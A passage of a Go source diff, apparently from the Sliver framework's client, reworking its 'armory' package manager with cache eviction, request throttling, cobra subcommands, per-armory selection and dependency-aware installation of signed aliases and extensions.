 	indexCache.Range(func(key, value interface{}) bool {
@@ -393,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
 	return indexes
 }

-func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
+func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
 	defer wg.Done()
+	defer func() {
+		<-requestChannel
+	}()
 	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
 	if ok {
 		cached := cacheEntry.(indexCacheEntry)
 		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
 			return
+		} else if time.Since(cached.Fetched) >= cacheTime {
+			// If an index has gone stale, remove it from the index cache
+			indexCache.Delete(armoryConfig.PublicKey)
 		}
 	}

@@ -436,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
 	}
 }

-func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
-	wg := &sync.WaitGroup{}
-	for _, index := range indexes {
-		for _, armoryPkg := range index.Extensions {
-			wg.Add(1)
-			armoryPkg.IsAlias = false
-			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
-		}
-		for _, armoryPkg := range index.Aliases {
-			wg.Add(1)
-			armoryPkg.IsAlias = true
-			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
-		}
+func calculateHashesForIndex(index ArmoryIndex) []string {
+	result := []string{}
+
+	for _, pkg := range index.Aliases {
+		result = append(result, calculatePackageHash(pkg))
 	}
-	wg.Wait()
+
+	for _, pkg := range index.Extensions {
+		result = append(result, calculatePackageHash(pkg))
+	}
+
+	return result
 }

-func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+func makePackageCacheConsistent(index ArmoryIndex) {
+	packagesToRemove := []string{}
+
+	// Get the packages for the armory out of the cache
+	cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
+	indexHashesForArmory := calculateHashesForIndex(index)
+
+	if len(cacheHashesForArmory) > len(indexHashesForArmory) {
+		// Then there are packages in the cache that do not exist in the armory
+		if len(indexHashesForArmory) == 0 {
+			packagesToRemove = cacheHashesForArmory
+		} else {
+			for _, packageHash := range indexHashesForArmory {
+				if !slices.Contains(cacheHashesForArmory, packageHash) {
+					packagesToRemove = append(packagesToRemove, packageHash)
+				}
+			}
+		}
+	}
+	// The remaining case of there being packages in the armory that do not exist in the cache
+	// will have to be solved with fetchPackageSignatures, and that function calls this one
+	// after fetching signatures and storing them in the cache, so that case should not apply
+
+	for _, packageHash := range packagesToRemove {
+		pkgCache.Delete(packageHash)
+	}
+}
+
+func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
+	wg := &sync.WaitGroup{}
+	// Be kind to armories and limit concurrent requests to 10
+	// This is an arbritrary number and we may have to tweak it if it causes problems
+	currentRequests := make(chan struct{}, 10)
+	for _, armoryPkg := range index.Extensions {
+		wg.Add(1)
+		currentRequests <- struct{}{}
+		armoryPkg.IsAlias = false
+		go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
+	}
+	for _, armoryPkg := range index.Aliases {
+		wg.Add(1)
+		currentRequests <- struct{}{}
+		armoryPkg.IsAlias = true
+		go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
+	}
+	wg.Wait()
+
+	// If packages were deleted from the index, make sure the cache is consistent
+	makePackageCacheConsistent(index)
+}
+
+func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
 	defer wg.Done()
-	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
+	defer func() {
+		<-requestChannel
+	}()
+	cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
 	if ok {
 		cached := cacheEntry.(pkgCacheEntry)
 		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
 			return
+		} else if time.Since(cached.Fetched) >= cacheTime {
+			// If a package has gone stale, remove it from the package cache
+			pkgCache.Delete(armoryPkg.ID)
 		}
 	}

 	pkgCacheEntry := &pkgCacheEntry{
 		ArmoryConfig: armoryConfig,
 		RepoURL:      armoryPkg.RepoURL,
+		ID:           armoryPkg.ID,
 	}
 	defer func() {
 		pkgCacheEntry.Fetched = time.Now()
-		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
+		pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
 	}()

 	repoURL, err := url.Parse(armoryPkg.RepoURL)
@@ -501,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 	if armoryPkg != nil {
 		pkgCacheEntry.Pkg = *armoryPkg
 	}
-	if err == nil {
-		manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
-		if err != nil {
-			pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
-			return
-		}
-		if armoryPkg.IsAlias {
-			pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
-		} else {
-			pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
-		}
-		if err != nil {
-			pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
-		}
+
+	manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
+		return
 	}
+	if armoryPkg.IsAlias {
+		pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
+		pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
+		pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
+	} else {
+		pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
+		pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
+		pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
+	}
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
+	}
+
+}
+
+func clearAllCaches() {
+	currentArmories.Range(func(key, value any) bool {
+		currentArmories.Delete(key)
+		return true
+	})
+	indexCache.Range(func(key, value any) bool {
+		indexCache.Delete(key)
+		return true
+	})
+	pkgCache.Range(func(key, value any) bool {
+		pkgCache.Delete(key)
+		return true
+	})
+}
+
+func getArmoryPublicKey(armoryName string) string {
+	// Find PK for the armory name
+	armoryPK := ""
+	currentArmories.Range(func(key, value any) bool {
+		armoryEntry := value.(assets.ArmoryConfig)
+		if armoryEntry.Name == armoryName {
+			armoryPK = armoryEntry.PublicKey
+			return false
+		}
+		return true
+	})
+
+	return armoryPK
 }
@@ -0,0 +1,211 @@
+package armory
+
+import (
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/completers"
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+// Commands returns the `armory` command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	armoryCmd := &cobra.Command{
+		Use:   consts.ArmoryStr,
+		Short: "Automatically download and install extensions/aliases",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ArmoryCmd(cmd, con, args)
+		},
+		GroupID: consts.GenericHelpGroup,
+	}
+	flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) {
+		f.BoolP("insecure", "I", false, "skip tls certificate validation")
+		f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)")
+		f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh")
+		f.StringP("timeout", "t", "15m", "download timeout")
+	})
+	flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) {
+		(*comp)["proxy"] = completers.LocalProxyCompleter()
+	})
+
+	armoryInstallCmd := &cobra.Command{
+		Use:   consts.InstallStr,
+		Short: "Install an alias or extension",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ArmoryInstallCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
+		f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
+		f.StringP("armory", "a", "", "name of armory to install package from")
+	})
+	armoryCmd.AddCommand(armoryInstallCmd)
+	flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
+		AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
+	)
+
+	armoryUpdateCmd := &cobra.Command{
+		Use:   consts.UpdateStr,
+		Short: "Update installed aliases and extensions",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ArmoryUpdateCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
+		f.StringP("armory", "a", "", "name of armory to get updates from")
+	})
+	armoryCmd.AddCommand(armoryUpdateCmd)
+
+	armorySearchCmd := &cobra.Command{
+		Use:   consts.SearchStr,
+		Short: "Search for aliases and extensions by name (regex)",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ArmorySearchCmd(cmd, con, args)
+		},
+	}
+	armoryCmd.AddCommand(armorySearchCmd)
+	flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
+
+	armoryInfoCmd := &cobra.Command{
+		Use:   consts.InfoStr,
+		Short: "View configured armories or details about a specific armory or package",
+		Args:  cobra.RangeArgs(0, 1),
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ArmoryInfoCommand(cmd, con, args)
+		},
+	}
+	armoryCmd.AddCommand(armoryInfoCmd)
+	carapace.Gen(armoryInfoCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("armory or package name"),
+	)
+
+	armoryAddCmd := &cobra.Command{
+		Use:   consts.AddStr,
+		Short: "Add a new armory",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
+		Args:  cobra.ExactArgs(1), // the name of the armory
+		Run: func(cmd *cobra.Command, args []string) {
+			AddArmoryCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
+		f.StringP("url", "u", "", "The URL of the armory index (required)")
+		f.StringP("pubkey", "k", "", "The public key for the armory (required)")
+		f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
+		f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
+		f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
+	})
+	armoryAddCmd.MarkFlagRequired("url")
+	armoryAddCmd.MarkFlagRequired("pubkey")
+	carapace.Gen(armoryAddCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("name of the armory"),
+	)
+	armoryCmd.AddCommand(armoryAddCmd)
+
+	armoryRemoveCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove an armory",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
+		Args:  cobra.ExactArgs(1), // the name of the armory
+		Run: func(cmd *cobra.Command, args []string) {
+			RemoveArmoryCmd(cmd, con, args)
+		},
+	}
+	carapace.Gen(armoryAddCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("name of the armory"),
+	)
+	armoryCmd.AddCommand(armoryRemoveCmd)
+
+	armorySaveCmd := &cobra.Command{
+		Use:   consts.SaveStr,
+		Short: "Save the armory configuration to disk",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			SaveArmories(con)
+		},
+	}
+	armoryCmd.AddCommand(armorySaveCmd)
+
+	armoryEnableCmd := &cobra.Command{
+		Use:   consts.EnableStr,
+		Short: "Enable an armory",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
+		Args:  cobra.ExactArgs(1), // The name of the armory
+		Run: func(cmd *cobra.Command, args []string) {
+			ChangeArmoryEnabledState(cmd, con, args, true)
+		},
+	}
+	carapace.Gen(armoryEnableCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("name of the armory"),
+	)
+	armoryCmd.AddCommand(armoryEnableCmd)
+
+	armoryDisableCmd := &cobra.Command{
+		Use:   consts.DisableStr,
+		Short: "Disable an armory",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
+		Args:  cobra.ExactArgs(1), // The name of the armory
+		Run: func(cmd *cobra.Command, args []string) {
+			ChangeArmoryEnabledState(cmd, con, args, false)
+		},
+	}
+	carapace.Gen(armoryDisableCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("name of the armory"),
+	)
+	armoryCmd.AddCommand(armoryDisableCmd)
+
+	armoryModifyCmd := &cobra.Command{
+		Use:   consts.ModifyStr,
+		Short: "Modify an armory configuration",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
+		Args:  cobra.ExactArgs(1), // The name of the armory
+		Run: func(cmd *cobra.Command, args []string) {
+			ModifyArmoryCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", "", "new name for the armory")
+		f.StringP("pubkey", "k", "", "new public key for the armory")
+		f.StringP("url", "u", "", "new URL for the armory")
+		f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
+		f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
+		f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
+	})
+	carapace.Gen(armoryModifyCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("name of the armory"),
+	)
+	armoryCmd.AddCommand(armoryModifyCmd)
+
+	armoryRefreshCmd := &cobra.Command{
+		Use:   consts.RefreshStr,
+		Short: "Refresh armory indexes",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			RefreshArmories(cmd, con)
+		},
+	}
+	armoryCmd.AddCommand(armoryRefreshCmd)
+
+	armoryResetCmd := &cobra.Command{
+		Use:   consts.ResetStr,
+		Short: "Reset armory configuration",
+		Long:  help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ResetArmoryConfig(cmd, con)
+		},
+	}
+	armoryCmd.AddCommand(armoryResetCmd)
+
+	return []*cobra.Command{armoryCmd}
+}
@@ -19,120 +19,444 @@ package armory
 */

 import (
+	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"
+	"slices"

 	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
-	"github.com/desertbit/grumble"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/util"
+	"github.com/bishopfox/sliver/util/minisign"
 )

-var (
-	// ErrPackageNotFound - The package was not found
-	ErrPackageNotFound = errors.New("package not found")
+// ErrPackageNotFound - The package was not found
+var ErrPackageNotFound = errors.New("package not found")
+var ErrPackageAlreadyInstalled = errors.New("package is already installed")
+
+const (
+	doNotInstallOption      = "Do not install this package"
+	doNotInstallPackageName = "do not install"
 )

 // ArmoryInstallCmd - The armory install command
-func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
+func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var promptToOverwrite bool
+	name := args[0]
 	if name == "" {
 		con.PrintErrorf("A package or bundle name is required")
 		return
 	}
-	clientConfig := parseArmoryHTTPConfig(ctx)
+	forceInstallation, err := cmd.Flags().GetBool("force")
+	if err != nil {
+		con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
+		return
+	}
+	if forceInstallation {
+		promptToOverwrite = false
+	} else {
+		promptToOverwrite = true
+	}
+
+	armoryName, err := cmd.Flags().GetString("armory")
+	if err != nil {
+		con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
+		return
+	}
+
+	// Find PK for the armory name
+	armoryPK := getArmoryPublicKey(armoryName)
+
+	// If the armory with the name is not found, print a warning
+	if cmd.Flags().Changed("armory") && armoryPK == "" {
+		con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
+	}
+
+	clientConfig := parseArmoryHTTPConfig(cmd)
 	refresh(clientConfig)
 	if name == "all" {
-		aliases, extensions := packagesInCache()
+		aliases, extensions := packageManifestsInCache()
+		aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
 		confirm := false
+		pluralAliases := "es"
+		if aliasCount == 1 {
+			pluralAliases = ""
+		}
+		pluralExtensions := "s"
+		if extCount == 1 {
+			pluralExtensions = ""
+		}
 		prompt := &survey.Confirm{
-			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
-				len(aliases), len(extensions),
+			Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
+				aliasCount, pluralAliases, extCount, pluralExtensions,
 			),
 		}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
 		}
+		promptToOverwrite = false
 	}
-	err := installPackageByName(name, clientConfig, con)
+	err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
 	if err == nil {
 		return
 	}
-	if err == ErrPackageNotFound {
+	if errors.Is(err, ErrPackageNotFound) {
 		bundles := bundlesInCache()
 		for _, bundle := range bundles {
 			if bundle.Name == name {
-				installBundle(bundle, clientConfig, con)
+				installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
+				return
+			}
+		}
+		// If we have made it here, then there was not a bundle or package that matched the provided name
+		if armoryPK == "" {
+			con.PrintErrorf("No package or bundle named %q was found\n", name)
+		} else {
+			con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
+		}
+	} else if errors.Is(err, ErrPackageAlreadyInstalled) {
+		con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
+	} else {
+		con.PrintErrorf("Could not install package: %s\n", err)
+	}
+
+}
+
+func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
+	installList := []string{}
+	pendingPackages := make(map[string]string)
+
+	for _, bundlePkgName := range bundle.Packages {
+		packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
+		if err != nil {
+			if errors.Is(err, ErrPackageAlreadyInstalled) {
+				con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
+				continue
+			} else {
+				con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
+				return
+			}
+		}
+		for _, pkgID := range packageInstallList {
+			if !slices.Contains(installList, pkgID) {
+				installList = append(installList, pkgID)
+			}
+		}
+	}
+
+	for _, packageID := range installList {
+		packageEntry := packageCacheLookupByID(packageID)
+		if packageEntry == nil {
+			con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
+			return
+		}
+		if packageEntry.Pkg.IsAlias {
+			err := installAliasPackage(packageEntry, false, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
+				return
+			}
+		} else {
+			err := installExtensionPackage(packageEntry, false, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
 				return
 			}
 		}
 	}
-	con.PrintErrorf("No package or bundle named '%s' was found", name)
 }

-func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	for _, pkgName := range bundle.Packages {
-		err := installPackageByName(pkgName, clientConfig, con)
+func getInstalledPackageNames() []string {
+	packageNames := []string{}
+
+	installedAliases := assets.GetInstalledAliasManifests()
+	installedExtensions := assets.GetInstalledExtensionManifests()
+
+	for _, aliasFileName := range installedAliases {
+		alias := &alias.AliasManifest{}
+		manifestData, err := os.ReadFile(aliasFileName)
 		if err != nil {
-			con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
+			continue
+		}
+		err = json.Unmarshal(manifestData, alias)
+		if err != nil {
+			continue
+		}
+		if !slices.Contains(packageNames, alias.CommandName) {
+			packageNames = append(packageNames, alias.CommandName)
 		}
 	}
-}

-func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	aliases, extensions := packagesInCache()
-	for _, alias := range aliases {
-		if alias.CommandName == name || name == "all" {
-			installAlias(alias, clientConfig, con)
-			if name != "all" {
-				return nil
+	for _, extensionFileName := range installedExtensions {
+		extension := &extensions.ExtensionManifest{}
+		manifestData, err := os.ReadFile(extensionFileName)
+		if err != nil {
+			continue
+		}
+		err = json.Unmarshal(manifestData, extension)
+		if err != nil {
+			continue
+		}
+		if len(extension.ExtCommand) == 0 {
+			extensionOld := &extensions.ExtensionManifest_{}
+			// Some extension manifests are using an older version
+			// To maintain compatibility with those extensions, we will
+			// re-unmarshal the data as the older version
+			err = json.Unmarshal(manifestData, extensionOld)
+			if err != nil {
+				continue
+			}
+			if !slices.Contains(packageNames, extensionOld.CommandName) {
+				packageNames = append(packageNames, extensionOld.CommandName)
+			}
+		} else {
+			for _, command := range extension.ExtCommand {
+				if !slices.Contains(packageNames, command.CommandName) {
+					packageNames = append(packageNames, command.CommandName)
+				}
 			}
 		}
 	}
-	for _, ext := range extensions {
-		if ext.CommandName == name || name == "all" {
-			installExtension(ext, clientConfig, con)
-			if name != "all" {
-				return nil
-			}
-		}
-	}
-	if name == "all" {
-		con.Printf("\n")
-		con.PrintInfof("All packages installed\n")
-		return nil
-	}
-	return ErrPackageNotFound
+
+	return packageNames
 }

-func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
-	err := installAliasPackageByName(alias.CommandName, clientConfig, con)
-	if err != nil {
-		con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
-		return
-	}
-}
+// This is a convenience function to get the names of the commands in the cache
+func getCommandsInCache() []string {
+	commandNames := []string{}

-func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
-	var entry *pkgCacheEntry
 	pkgCache.Range(func(key, value interface{}) bool {
 		cacheEntry := value.(pkgCacheEntry)
-		if cacheEntry.Pkg.CommandName == name {
-			entry = &cacheEntry
-			return false
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.Pkg.IsAlias {
+				if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
+					commandNames = append(commandNames, cacheEntry.Alias.CommandName)
+				}
+			} else {
+				for _, command := range cacheEntry.Extension.ExtCommand {
+					if !slices.Contains(commandNames, command.CommandName) {
+						commandNames = append(commandNames, command.CommandName)
+					}
+				}
+			}
 		}
 		return true
 	})
+
+	return commandNames
+}
+
+func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
+	packages := []*pkgCacheEntry{}
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.Pkg.IsAlias {
+				if cacheEntry.Alias.CommandName == name {
+					if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
+						if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
+							packages = append(packages, &cacheEntry)
+						}
+					}
+				}
+			} else {
+				for _, command := range cacheEntry.Extension.ExtCommand {
+					if command.CommandName == name {
+						if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
+							if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
+								packages = append(packages, &cacheEntry)
+							}
+							break
+						}
+					}
+				}
+			}
+		}
+		return true
+	})
+
+	return packages
+}
+
+func getPackageIDFromUser(name string, options map[string]string) string {
+	selectedPackageKey := ""
+	optionKeys := util.Keys(options)
+	slices.Sort(optionKeys)
+	// Add a cancel option
+	optionKeys = append(optionKeys, doNotInstallOption)
+	options[doNotInstallOption] = doNotInstallPackageName
+	prompt := &survey.Select{
+		Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
+		Options: optionKeys,
+	}
+	survey.AskOne(prompt, &selectedPackageKey)
+	selectedPackageID := options[selectedPackageKey]
+
+	return selectedPackageID
+}
+
+func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
+	packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
+
+	if len(packagesWithCommand) > 1 {
+		// Build an option map for the user to choose from (option -> pkgID)
+		optionMap := make(map[string]string)
+		for _, packageEntry := range packagesWithCommand {
+			var optionName string
+			if packageEntry.Pkg.IsAlias {
+				optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
+					name,
+					packageEntry.Alias.Version,
+					packageEntry.ArmoryConfig.Name,
+					packageEntry.Pkg.RepoURL,
+				)
+			} else {
+				optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
+					packageEntry.Pkg.Name,
+					packageEntry.Extension.Version,
+					packageEntry.ArmoryConfig.Name,
+					name,
+					packageEntry.Pkg.RepoURL,
+				)
+			}
+			optionMap[optionName] = packageEntry.ID
+		}
+		selectedPackageID := getPackageIDFromUser(name, optionMap)
+		if selectedPackageID == doNotInstallPackageName {
+			return nil, fmt.Errorf("user cancelled installation")
+		}
+		for _, packageEntry := range packagesWithCommand {
+			if packageEntry.ID == selectedPackageID {
+				return packageEntry, nil
+			}
+		}
+	} else if len(packagesWithCommand) == 1 {
+		return packagesWithCommand[0], nil
+	}
+	return nil, ErrPackageNotFound
+}
+
+func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
+	packageInstallList := []string{}
+	installedPackages := getInstalledPackageNames()
+
+	/*
+		Gather information about what we are working with
+
+		Find all conflicts within aliases for a given name (or all names), same thing with extensions
+		Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
+	*/
+	var requestedPackageList []string
+	if name == "all" {
+		requestedPackageList = []string{}
+		allCommands := getCommandsInCache()
+		for _, cmdName := range allCommands {
+			if !slices.Contains(installedPackages, cmdName) || forceInstallation {
+				// Check to see if there is a package pending with that name
+				if _, ok := pendingPackages[cmdName]; !ok {
+					requestedPackageList = append(requestedPackageList, cmdName)
+				}
+			}
+		}
+	} else {
+		if !slices.Contains(installedPackages, name) || forceInstallation {
+			// Check to see if there is a package pending with that name
+			if _, ok := pendingPackages[name]; !ok {
+				requestedPackageList = []string{name}
+			}
+		} else {
+			return nil, ErrPackageAlreadyInstalled
+		}
+	}
+
+	for _, packageName := range requestedPackageList {
+		if _, ok := pendingPackages[packageName]; ok {
+			// We are already going to install a package with this name, so do not try to resolve it
+			continue
+		}
+		packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
+		if err != nil {
+			return nil, err
+		}
+		if !slices.Contains(packageInstallList, packageEntry.ID) {
+			packageInstallList = append(packageInstallList, packageEntry.ID)
+			pendingPackages[packageName] = packageEntry.ID
+		}
+
+		if !packageEntry.Pkg.IsAlias {
+			dependencies := make(map[string]*pkgCacheEntry)
+			err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
+			if err != nil {
+				return nil, err
+			}
+			for pkgName, packageEntry := range dependencies {
+				if !slices.Contains(packageInstallList, packageEntry.ID) {
+					packageInstallList = append(packageInstallList, packageEntry.ID)
+				}
+				if _, ok := pendingPackages[pkgName]; !ok {
+					pendingPackages[pkgName] = packageEntry.ID
+				}
+			}
+		}
+	}
+
+	return packageInstallList, nil
+}
+
+func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
+	pendingPackages := make(map[string]string)
+	packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
+	if err != nil {
+		return err
+	}
+	if len(packageInstallList) > 0 {
+		for _, packageID := range packageInstallList {
+			entry := packageCacheLookupByID(packageID)
+			if entry == nil {
+				return errors.New("cache consistency error - please refresh the cache and try again")
+			}
+			if entry.Pkg.IsAlias {
+				err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
+				if err != nil {
+					return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
+				}
+			} else {
+				err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
+				if err != nil {
+					return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
+				}
+			}
+		}
+	} else {
+		return ErrPackageNotFound
+	}
+
+	if name == "all" {
+		con.Printf("\n")
+		con.PrintInfof("Operation complete\n")
+	}
+
+	return nil
